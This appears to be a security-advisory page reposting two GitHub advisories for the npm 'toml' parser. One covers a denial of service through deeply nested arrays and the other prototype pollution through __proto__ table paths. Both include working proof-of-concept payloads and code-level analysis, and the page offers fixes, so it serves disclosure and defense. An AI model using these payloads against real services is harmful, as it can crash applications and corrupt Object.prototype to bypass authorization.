Where
-Infinity
0
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.

A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.

---

Vulnerable Code

The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inlinetable rule functions — none carry a depth counter:

javascript // lib/parser.js — peg$parsevalue() @ line 1008 function peg$parsevalue() { ... s0 = peg$parsearray(); // line 1017 ← value → array if (s0 === peg$FAILED) { s0 = peg$parseinlinetable(); // line 1019 ← value → inlinetable } ... }

// peg$parsearray() @ line 2879 function peg$parsearray() { ... s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge) ... }

// peg$parseinlinetable() @ line 3066 → peg$parseinlinetableentry() @ line 3239 function peg$parseinlinetableentry() { ... s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge) ... }

Recursion cycle for a=[[[ … ]]] (bare nested arrays):

toml.parse(src) → peg$parsevalue() # parser.js:1008 → peg$parsearray() # parser.js:1017 / 2879 → peg$parsevalue() # parser.js:2931 ← back-edge, per nested element → … # depth == input nesting → RangeError, no guard

Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinlinetable / peg$parseinlinetableentry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).

---

Confirmed PoC (toml 4.1.2, Node.js v24.16.0)

Setup:

bash npm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected Docker equivalent: docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"

Reproduce — save as poc.js, run node poc.js:

javascript const toml = require('toml'); console.log('version:', require('toml/package.json').version); // 4.1.2

// Smallest reliable payload: a bare array nested 3000 levels (~6 KB) let x = '1'; for (let i = 0; i < 3000; i++) x = '[' + x + ']'; const payload = 'a=' + x; console.log('payload bytes:', payload.length); // 6003

try { toml.parse(payload); console.log('no crash'); } catch (e) { console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40)); console.log('is RangeError?', e instanceof RangeError, // true '| is SyntaxError?', e instanceof SyntaxError); // false }

Expected output (vulnerable — actual run):

version: 4.1.2 payload bytes: 6003 CONFIRMED: RangeError: Maximum call stack size exceeded is RangeError? true | is SyntaxError? false

Verified crash thresholds (fresh process, single parse, default Node 24 stack):

| Payload shape | Reliable crash depth | Payload size | |---------------|----------------------|--------------| | Bare nested array a=[[ … ]] | ≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) | | Inline table {arr=[ … ]} | ≥ ~1,500 | ~12 KB |

Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.

---

Realistic Attack Scenario

javascript // Node.js service parsing user-supplied TOML config const express = require('express'); const toml = require('toml'); const app = express(); app.use(express.text({ type: 'application/toml', limit: '100kb' }));

app.post('/config', (req, res) => { try { const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload res.json({ status: 'ok' }); } catch (e) { // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column) // on malformed input. A RangeError has neither, so this guard rethrows it: if (e.line != null) return res.status(400).json({ error: e.message }); throw e; // RangeError propagates → uncaught → worker down } });

An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).

The package exports only parse (Object.keys(require('toml')) → ['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.

---

Impact

Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.

RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.

---

Suggested Fix

Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:

Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:

javascript // In the grammar initializer: { let depth = 0; const MAXDEPTH = 500; }

// Wrap the recursive value rule: value = &{ if (++depth > MAXDEPTH) { error("TOML nesting too deep"); } return true; } v:(array / inlinetable / ...) { depth--; return v; }

Option 2 — entry-point guard in index.js (reject pathological input before parsing):

javascript module.exports.parse = function (input) { // cheap structural bound before the recursive parse let depth = 0, max = 0; for (const ch of input) { if (ch === '[' || ch === '{') max = Math.max(max, ++depth); else if (ch === ']' || ch === '}') depth--; } if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)'); return realParse(input); };

Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).

---

Comparison with Related Vulnerabilities

Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinlinetable and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Summary

toml.parse() writes attacker-controlled keys onto Object.prototype. The compiler protects the tables it builds by creating them with Object.create(null), which neutralizes a direct [proto] table. An attacker bypasses that protection by routing a table path through a scalar value and into the real prototype chain: a path such as a.b.y.proto.proto, where a.b.y holds a number, resolves to Object.prototype and every subsequent key/value writes onto it.

The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings desynchronize, so the guard that should reject descending through an existing scalar never fires.

Steps to reproduce

1. Install the latest version and run the comma-desynchronization payload.

bash npm install toml@4.1.1

js const toml = require("toml"); delete Object.prototype.polluted;

toml.parse( [a.b] y = 1 [a.b.y.proto.proto] polluted = "yes" );

console.log(({}).polluted); // -> "yes"

2. Observe that a freshly created object inherits the injected key, confirming Object.prototype was modified:

yes

3. Confirm the prefix-clear variant reaches the same result:

js toml.parse( aa = 1 [[a]] [aa.proto.proto] polluted = "yes" ); console.log(({}).polluted); // -> "yes"

A nested gadget object is also injectable, not only scalar keys:

js toml.parse( [a.b] y = 1 [a.b.y.proto.proto.code] val = "arbitrary" ); console.log(({}).code.val); // -> "arbitrary"

Technical details

The compiler builds the result tree in lib/compiler.js. Tables are created with a null prototype, so a direct [proto] table only sets an ordinary own property and does not pollute:

js var data = Object.create(null); // line 7 — root has no prototype // ... target[k] = Object.create(null); // line 64 — intermediate tables, no prototype

The defect is in deepRef, which resolves a table path by walking each key segment of the live object graph:

js function deepRef(start, keys, value, off) { // lib/compiler.js:183 var traversedPath = ""; var ctx = start; for (var i = 0; i < keys.length; i++) { var key = keys[i]; traversedPath = traversedPath ? traversedPath + "." + key : key; if (typeof ctx[key] === "undefined") { if (i === keys.length - 1) { ctx[key] = value; } else { ctx[key] = Object.create(null); } } else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) { genError("Cannot redefine existing key '" + traversedPath + "'.", off); // line 197 — the guard } ctx = ctx[key]; // line 200 — follows proto into the prototype chain if (ctx instanceof Array && ctx.length && i < keys.length - 1) { ctx = ctx[ctx.length - 1]; } } return ctx; }

Two problems combine:

1. deepRef treats proto (and constructor, prototype) as ordinary traversable keys. Line 200 executes ctx = ctx[key] for every segment with no reserved-key check. When traversal reaches a scalar value — for example the number 1 stored at a.b.y — the next two proto segments evaluate to Number.prototype and then Object.prototype. The null-prototype hardening covers only the container tables the compiler creates; it does not cover the values stored in them, and those values carry normal prototypes.

2. The guard on line 197 is defeated by a path-format desynchronization. currentPath is assigned two incompatible types: setPath stores an array (currentPath = path, line 151) while addTableArray stores a string (currentPath = quotedPath, line 172). When assign later builds the path of a value, it concatenates that array with a string:

js var fullPath = currentPath ? currentPath + "." + keys.join(".") : keys.join("."); // line 77 valueAssignments.add(fullPath); // line 86

For the table [a.b], currentPath is the array ["a","b"], so currentPath + "." coerces it via Array.toString() to the comma-joined string "a,b". The value y = 1 is therefore recorded as "a,b.y". But deepRef, walking the path a.b.y.proto.proto, builds traversedPath with dots and checks valueAssignments.has("a.b.y"). The set contains "a,b.y", not "a.b.y", so the lookup misses and the guard never raises "Cannot redefine existing key". Traversal proceeds through the scalar 1 into Object.prototype.

Instrumenting the tracking sets after parsing the payload confirms the mismatch:

assignedPaths : [ "a.b", "a,b.y", "a.b.y.proto.proto", ... ] valueAssignments : [ "a,b.y", ... ] deepRef checks valueAssignments.has("a.b.y") -> false (recorded as "a,b.y")

A second route reaches the same state without the comma trick. A table array [[a]] triggers the prefix-clearing loop in addTableArray, which deletes tracking entries by string prefix and wipes the guard state before the proto descent:

js assignedPaths.forEach(function(p) { // lines 164-166 if (p.indexOf(quotedPath) === 0) assignedPaths.delete(p); }); valueAssignments.forEach(function(p) { // lines 167-169 if (p.indexOf(quotedPath) === 0) valueAssignments.delete(p); });

Impact

- Any application that calls toml.parse() on a TOML document an attacker can influence — uploaded configuration, project manifests, multi-tenant settings, package metadata — allows the attacker to write arbitrary properties onto Object.prototype. - Injected properties become visible on every object in the process. Depending on application gadgets, this enables denial of service (corrupting properties the runtime relies on), logic and authorization bypass (overriding flags read from plain objects), and, with a suitable sink, remote code execution. - The blast radius is the whole Node.js process, not just the parsed result object. - toml reports roughly 14.8 million weekly downloads and around 1,340 dependents, so the transitive exposure is large. Dependents that pass toml as the engine to front-matter or configuration loaders inherit the issue.

---

Credit: Duy Bui / @calif.io

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203